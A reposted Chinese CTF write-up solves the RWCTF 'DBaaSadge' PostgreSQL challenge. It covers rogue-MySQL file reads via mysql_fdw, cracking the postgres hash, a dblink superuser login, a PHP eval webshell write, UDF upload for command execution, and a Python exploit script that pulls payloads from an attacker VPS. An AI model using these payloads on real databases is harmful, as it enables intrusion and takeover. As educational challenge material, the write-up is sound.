转载来自博客园:https://www.cnblogs.com/dem0/p/14300743.html

数据库题目

2020RWCTF DBaaSadge WP

这是一个很有意思的题目,难到让我绝望,跟着大佬smity的思路跑一下,求大佬抱抱。

https://mp.weixin.qq.com/s/jvA5j9OPMFIPvP5267gk-Q

0x01 题目

image-20210119083302921

一打开就是题目的代码直接执行,可以直接执行pg的代码,但是长度不能超过100.(本身是给了dockerfile)先进行必要的信息收集。

select version();
select user;

image-20210119083506773

image-20210119083528541

然后大佬说这不是10.5之前修复的那个CVE漏洞,而且那是一道pwn题,这是一个web题。然后想到的就是怎么样可以通过psql的数据库语句来进行命令执行,但是这里的用户是realuser,不是superuser用户,所以网上大部分的方法是不能够使用的。

所以到现在想到的就是,提权加上getshell,来达到命令执行的效果。

0x02 dockfile分析

image-20210119084014713

其中被圈出来的是和psql有关的操作。比如说,psql -c "command"这是命令行模式直接执行psql语句的用法。咱们再来细细的分析这个dockerfile。

image-20210119084954006

1. 创建了一个没有super权限的realuser 密码是 realpass
2. 安装了dblink mysql_fdw的两个扩展
3. dblink,能够在一个数据库中操作另外一个远程的数据库。
mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式

这里大佬想到了 rouge-mysql,而我就是个菜鸡,数据库题目一个都不会。(这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)

msql_fdw插件的使用:https://blog.csdn.net/bingluo8787/article/details/100958098

可以知道和直接使用mysql没有什么区别(嘻嘻

CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
#创建一个server
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
#创建链接用户名
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');

select * from test;

DROP SERVER mysql_server

这样我们在vps上面挂个脚本就可以了。https://github.com/allyshka/Rogue-MySql-Server

这样就可以任意文件读取,但是有个问题,这有什么用了....dokcer都给了。下面就是继续提权了白。

下面给出3个方法

1.寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
2.在pg_hba.conf中如果把host配置为trust是可以进行免密登录的
3.类比mysql ,在本地寻找密码存储的文件。通过vps来读。

然后我们一个一个来验证。

首先,我们来寻找这个神奇的conf文件。

image-20210119094634992

难道要成功了吗?(忘记看启动文件了。。

image-20210119101128474

再见谢谢。每次docker重启就是刷新一个五位数的随机密码(记住,重点)。

验证第二条思路:

读取上面那个文件。

image-20210119101355309

image-20210119101706467

很明显是不能够登陆了。然后,五位数密码爆破,去死把。

最后一个思路:

既然能够读取,百度查psql的密码文件落户到本地的哪个位置,在哪个目录,我们直接读取之。

mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置。

image-20210119102418358

image-20210119102439503

然后用文件内容查找的命令

egrep -r "内容" 目录

image-20210119102611994

然后使用md5在线解密或者爆破脚本使用。

image-20210119102823562

这里面有历史密码。

md5爆破工具

http://c3rb3r.openwall.net/mdcrack
使用方法
http://www.91ri.org/1285.html
MDCrack-sse.exe   -algorithm=MD5 --append=postgres 8997a9f1da6bbfbc2aaad2cb295a1b0b

image-20210119104154604

拿到我想要的账号和密码,现在就是和上面的dblink联合在一起,来登陆这个超级用户

6k35mpostgres
select dblink_connect('host=127.0.0.1 port=5432 dbname=postgres user=postgres password=6k35m');

image-20210119110419536

成功登陆。

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

下面就是如何将上面这句长长的payload打进去了,有长度限制。。。。

如果是敏感字符的考察 ,可以用postgre的存储过程。
create OR REPLACE FUNCTION D(a INTEGER, b INTEGER) RETURNS INTEGER AS $$ SELECT a+b; $$ LANGUAGE SQL;
但是存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。

正解:

通过子查询,将poc语句写到自己的mysql服务器,利用mysql_fdw扩展连接mysql服务器select出来。

postgre的常用命令

\c - realuser 切换用户到realuser
DROP FOREIGN TABLE a66; 丢掉外部表a66
DROP USER MAPPING FOR realuser SERVER a66_server; 去掉用户关系 对于realuser server a66
DROP SERVER a66_server;

这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:

poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

现在文件已经写完了,但是我们没有什么权限

image-20210119152105664

开始打UDF,学习https://blog.csdn.net/qq_33020901/article/details/79032774

https://github.com/sqlmapproject/udfhack

这是sqlmap上面的udf插件。

linux换源:https://blog.csdn.net/u012308586/article/details/102953882

image-20210119155144324

在makefile里面添加一行。执行make 10

编译完成之后

image-20210119155458492

接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + "inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i + 1
        if i % 2048 == 0:
            print "\n"
    fileobj.close()
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/testeval.so');
SELECT lo_unlink(12345);
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");

在将hex数据插入之后,运行一次poc,然后再将下面这个插入,再运行一次命令即可。

image-20210119171938650

下面脚本的使用条件:

vps上面开启mysql服务3306端口 账号admin 密码123456
有数据库b b里有
表a 里面 s字段是 存储链接ps数据库super的host和端口和账号和密码
m字段是 命令执行readflag
表b 里面 s字段同上
m字段是 so文件的加载

听说命令执行有更好的方式不使用udf;
import requests
import hashlib
import random
import uuid
url ="http://192.168.72.89:60080/?sql="

#填你的IP
ip="42.192.142.64"
port="3306"
server_name="aaaa"
dbname=server_name
Table_name=server_name
'''
任意文件的poc
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
poc2里填写你自己mysql的用户名密码
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
'''

'''

#插入数据
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip  ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password '123456');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
#poc4 = "select dblink_connect((select s from a66),(select m from a66));"
poc5="DROP FOREIGN TABLE a66;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7 = "DROP SERVER a66_server;"
'''
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'42.192.142.64  ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password 'q79475432');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc8="CREATE FOREIGN TABLE a67(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'a');"
poc9="SELECT * FROM dblink((select s from a67), (select m from a67)) as t10(record text);"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

poc5="DROP FOREIGN TABLE a66;DROP FOREIGN TABLE a67;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7="DROP SERVER a66_server;"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
r8=requests.get(url+poc8)
print(r8.text)
r9=requests.get(url+poc9)
print(r9.text)

r5=requests.get(url+poc5)
print(r5.text)
r6=requests.get(url+poc6)
print(r6.text)
r7=requests.get(url+poc7)
print(r7.text)